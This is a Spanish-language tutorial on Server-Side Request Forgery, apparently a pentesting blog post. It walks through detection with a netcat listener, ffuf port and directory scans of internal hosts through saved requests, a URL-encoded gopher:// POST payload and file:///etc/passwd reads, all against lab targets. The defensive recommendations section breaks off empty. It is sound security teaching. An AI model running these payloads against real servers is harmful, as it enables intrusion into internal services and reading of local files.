Server-side Request Forgery

SSRF

Featured image

Server-Side Request Forgery (SSRF) ocurre cuando una aplicación web solicita recursos remotos basándose en entradas controladas por el usuario, permitiendo que un atacante obligue al servidor a hacer peticiones a URLs que él elija. Aunque a primera vista parezca simplemente acceso HTTP remoto, las consecuencias pueden ser graves: el atacante puede sortear WAFs, alcanzar endpoints internos no expuestos o acceder a recursos locales. Además, manipulando el esquema de la URL se amplían las posibilidades de explotación —por ejemplo http(s):// para solicitar servicios web internos, file:// para leer archivos locales en el servidor y gopher:// para enviar bytes arbitrarios (útil para forjar peticiones o interactuar con protocolos como SMTP o bases de datos)— lo que convierte a SSRF en una vulnerabilidad de alto impacto cuando no se valida y restringe correctamente la entrada.

Identificación

Para identificar la vulnerabilidad, primero intenta cargar google.com desde la URL vulnerable, ya sea mediante GET o POST (por ejemplo, insertando http://www.google.com en el parámetro correspondiente).

ssrf1

También se podría apuntar a la misma web de la siguiente forma:

ssrf3

Otra opción es poner un listener con netcat y redirigir la URL vulnerable hacia tu equipo. Por ejemplo, en tu máquina de escucha ejecuta:

┌──(root㉿nptg)-[/ssrf]
└─# nc -nlvp 8000

Luego apunta la URL vulnerable a http://192.168.1.16:8000/ssrf. Después, espera la petición entrante para confirmar que el servidor realiza la llamada.

ssrf2

┌──(root㉿nptg)-[/ssrf]
└─# nc -nlvp 8000
listening on [any] 8000 ...
connect to [192.168.1.16] from (UNKNOWN) [192.168.1.17] 49424
GET /ssrf HTTP/1.0
Host: 192.168.1.16:8000

Explotación

Escaneo de puertos

Podemos aprovechar una vulnerabilidad SSRF para realizar un escaneo de puertos y así enumerar los servicios que se están ejecutando en el sistema objetivo. En este caso trabajamos con una petición por POST guardada desde BurpSuite dentro del archivo reqports.txt; si el flujo fuera por GET, bastaría con poner la URL completa en el parámetro -u y no guardar el archivo.

ssrf4

Cambiamos la URL por la del host local:

ssr5

En el archivo de petición (reqports.txt) identificaremos el parámetro vulnerable como FUZZ, que será el punto donde inyectar los números de puerto para la detección. Generamos una wordlist con los puertos comunes usando:

seq 1 65535 > ports.txt
┌──(root㉿nptg)-[/ssrf]
└─# cat reqports.txt 
POST /index.php HTTP/1.1
Host: 10.129.178.161
Content-Length: 46
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.129.178.161
Referer: http://10.129.178.161/
Accept-Encoding: gzip, deflate, br
Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
Connection: keep-alive

dateserver=http://127.0.0.1:FUZZ&date=2024-01-18

Posteriormente, ejecutamos el fuzzing usando ports.txt para reemplazar FUZZ y analizar las respuestas. Durante la fase de filtrado observamos que las respuestas no útiles comparten un patrón: contienen exactamente 16 palabras, por lo que podemos excluir esas respuestas para centrarnos en las que realmente indican servicios abiertos. Al finalizar el escaneo y aplicar el filtro, obtendremos tres puertos abiertos identificados en el sistema objetivo.

┌──(root㉿nptg)-[/ssrf]
└─# ffuf -w /usr/share/wordlists/ports.txt -u http://10.129.178.161/ -request reqports.txt -t 200 -fw 16

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.129.178.161/
 :: Wordlist         : FUZZ: /usr/share/wordlists/ports.txt
 :: Header           : Origin: http://10.129.178.161
 :: Header           : Referer: http://10.129.178.161/
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
 :: Header           : Connection: keep-alive
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Accept: */*
 :: Header           : Host: 10.129.178.161
 :: Data             : dateserver=http://127.0.0.1:FUZZ&date=2024-01-18
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 16
________________________________________________

3306                    [Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 148ms]
80                      [Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 7191ms]
8000                    [Status: 200, Size: 37, Words: 1, Lines: 1, Duration: 160ms]

Identifcación de directorios restringidos

También es posible enumerar carpetas internas que requieren autorización. A continuación podemos ver que no podemos acceder al directorio admin:

ssrf5

Detectada la vulnerabilidad, procedemos a enumerar los directorios de la web interna usando la petición guardada en Burp.

ssrf6

┌──(root㉿nptg)-[/ssrf]
└─# cat ssrfdir.txt 
POST /product/stock HTTP/2
Host: 0aa4009a0300a26280dad03600080051.web-security-academy.net
Cookie: session=3ByQ8WXJrb3odYu3g0AkbOm3PTxU61KY
Content-Length: 26
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://0aa4009a0300a26280dad03600080051.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa4009a0300a26280dad03600080051.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
Priority: u=1, i

stockApi=http://127.0.0.1/FUZZ

Seleccionamos el parámetro vulnerable para hacer el fuzzing (marcado como FUZZ) y lanzamos la enumeración. Durante el análisis filtramos las respuestas que no nos interesan según su tamaño (en este caso el patrón irrelevante corresponde a respuestas de 10665 bytes) hasta encontrar rutas válidas. Como resultado identificamos un directorio que inicialmente no era accesible: /admin.

┌──(root㉿nptg)-[/ssrf]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -request ssrfdir.txt -t 200 -fs 10665

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : https://0aa4009a0300a26280dad03600080051.web-security-academy.net/product/stock
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: 0aa4009a0300a26280dad03600080051.web-security-academy.net
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
 :: Header           : Sec-Fetch-Mode: cors
 :: Header           : Referer: https://0aa4009a0300a26280dad03600080051.web-security-academy.net/product?productId=1
 :: Header           : Cookie: session=3ByQ8WXJrb3odYu3g0AkbOm3PTxU61KY
 :: Header           : Accept: */*
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
 :: Header           : Sec-Fetch-Site: same-origin
 :: Header           : Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
 :: Header           : Sec-Ch-Ua-Platform: "Linux"
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Sec-Ch-Ua-Mobile: ?0
 :: Header           : Origin: https://0aa4009a0300a26280dad03600080051.web-security-academy.net
 :: Header           : Sec-Fetch-Dest: empty
 :: Header           : Priority: u=1, i
 :: Data             : stockApi=http://127.0.0.1/FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 10665
________________________________________________

login                   [Status: 200, Size: 3197, Words: 1345, Lines: 65, Duration: 227ms]
admin                   [Status: 200, Size: 3070, Words: 1368, Lines: 67, Duration: 217ms]
Login                   [Status: 200, Size: 3197, Words: 1345, Lines: 65, Duration: 219ms]
filter                  [Status: 200, Size: 10763, Words: 5094, Lines: 200, Duration: 222ms]

ssrf7

Comprobamos el acceso al panel de administración y verificamos que la página responde correctamente.

ssrf8

Incluso desde ese mismo panel sería posible realizar operaciones dentro de la interfaz administrativa (dependiendo de los privilegios y funcionalidades disponibles).

Cuando estamos enfrentados a una petición por medio de POST no hay forma de enviar esta solicitud. En su lugar podemos utilizar el protocolo gopher para enviar bytes arbitrarios a un socket TCP. Para generar la URL correcta debemos seguir esta tabla en su creación.

Carácter Qué hace / por qué importa (explicación clara) Codificación URL
(espacio) ` ` Separa tokens en una petición HTTP (método, ruta, versión) y separa palabras en headers. Si no se codifica, rompe la URL. %20
CR (carriage return) \r Mueve el cursor al inicio de la línea sin bajar de línea. En HTTP forma parte de la terminación de línea junto con LF. Nunca se envía solo: siempre como CRLF. %0D
LF (line feed) \n Salto de línea. En HTTP se usa junto a CR para terminar una línea (CRLF). %0A
CRLF (fin de línea HTTP) \r\n Delimita el final de cada línea de la petición HTTP (por ejemplo, entre encabezados y cuerpo). Es obligatorio para que el servidor interprete correctamente la petición. %0D%0A
: (dos puntos) Separa host:puerto (ej. host:80) y se usa en encabezados Header: valor. En una URL raw puede confundirse si no está codificado. %3A
/ (barra) Separa segmentos de ruta (/admin/login). En el path de una petición raw debe codificarse cuando va dentro del payload enviado por Gopher. %2F
? Indica el inicio de la query string (parámetros). Si lo pones dentro del body o del path raw debe codificarse para no iniciar una query real. %3F
& Separa parámetros en una query string (a=1&b=2) o en cuerpos application/x-www-form-urlencoded. Si aparece en el payload, hay que codificarlo. %26
= Asigna valor a un parámetro (param=valor). En el cuerpo URL-encoded es normal; dentro de una URL raw puede necesitar codificación si forma parte de otro contexto. %3D
+ En query strings + es interpretado como espacio por algunos parsers. No usar + para representar espacios en paths; usa %20. %2B
% Es el prefijo del encoding; si aparece literal debe codificarse porque inicia secuencias %XX. %25
# Indica fragmento (parte no enviada al servidor). Si lo pones en el payload sin codificar, el cliente lo tratará como fragmento y lo cortará. %23
@ Se usa en user@host o en valores de headers. Si aparece en el payload raw puede provocar parsing inesperado. %40
; Separador opcional en algunas URLs; si está en el cuerpo raw puede alterar interpretación. %3B
, Coma literal; puede separar valores. Codificar si forma parte del payload. %2C
" (comillas dobles) Delimita strings en algunos protocolos; en headers/cuerpo puede romper la sintaxis si no se codifica. %22
' (comilla simple) Similar a las dobles; importante codificar en payloads para evitar roturas. %27
( ) Paréntesis usados en rutas o datos; mejor codificarlos dentro del payload. %28 %29
[ ] Se usan para literal IPv6 en URLs ([::1]). Si aparecen en payloads, se codifican. %5B %5D
{ } Muy usadas en JSON; dentro de un body RAW deben codificarse para evitar problemas en la URL. %7B %7D
| (pipe) Carácter de shell / separación; peligroso si no se codifica (puede usarse en payloads). %7C
\ (backslash) Escape en algunos entornos; codificar para evitar problemas. %5C
^ (caret) Carácter raro en protocolos; codificar para seguridad. %5E
~ (tilde) Permitido en muchas URLs; si dudas codifica. %7E
_ (guion bajo) Usado en nombres; normalmente no es obligatorio codificar, pero puedes si lo deseas. %5F
$ (dólar) Usado en comandos o templates; codificar dentro del payload. %24
\t (tabulación) A veces útil para pruebas; en HTTP una tab puede romper parsing, codificarla. %09
+ vs %20 Nota: en query strings algunos parsers transforman + → espacio; en paths/payloads usa %20.

Ejemplo
gopher://dateserver.htb:80/_POST /admin.php HTTP/1.1
Host: dateserver.htb
Content-Length: 13
Content-Type: application/x-www-form-urlencoded

adminpw=admin


codificado: gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin

Se recomienda la herramienta: Gopherus.

Local File Inclusion

Existe la posibilidad de intentar leer archivos locales del sistema utilizando file:// manipulando de esta forma el esquema de URL.

file:///etc/passwd

ssrf9

SSRF Blind

Hay ocasiones en que la respuesta no se nos muestra directamente, estas son vulnerabilidades SSRF ciegas. Para identificarla podemos realizar el mismo procedimiento inicial con el netcat. El problema surge cuando queremos enumerar puertos o directorios internos de una web, porque no vemos las respuestas completas, por eso, partiendo de esa base, debemos observar con cuidado las respuestas indirectas: variaciones en el tamaño del contenido, en los tiempos de respuesta, en los códigos HTTP o en los mensajes de error que cambian según la petición. Esas diferencias sutiles nos permiten inferir la existencia de puertos o rutas aunque la aplicación no muestre el contenido directamente.

Ejemplo

Tenemos el siguiente caso en que si el puerto es válido detectamos el siguiente mensaje:

ssrf10

Si no es válido nos entrega como respuesta lo siguiente:

ssrf11

De esta forma podremos enumerar y detectar puertos internos abiertos a través de los mensajes de errores y su tamaño en la respuesta -fs 21(este último valor se debe adaptar dependiendo cada caso). Con ffuf obtendremos el siguiente resultado:

┌──(root㉿nptg)-[/ssrf]
└─# ffuf -w /usr/share/wordlists/ports.txt -request ssrfblind.txt -u 'http://10.129.63.215/index.php' -fs 21

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.129.63.215/index.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/ports.txt
 :: Header           : Referer: http://10.129.63.215/
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
 :: Header           : Host: 10.129.63.215
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
 :: Header           : Accept: */*
 :: Header           : Origin: http://10.129.63.215
 :: Header           : Connection: keep-alive
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : dateserver=http://127.0.0.1:FUZZ&date=2024-01-25
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 21
________________________________________________

80                      [Status: 200, Size: 52, Words: 8, Lines: 1, Duration: 4031ms]
5000                    [Status: 200, Size: 52, Words: 8, Lines: 1, Duration: 151ms]

Recomendaciones

Para prevenir la vulnerabilidad de SSRF se puede implementar los siguientes controles: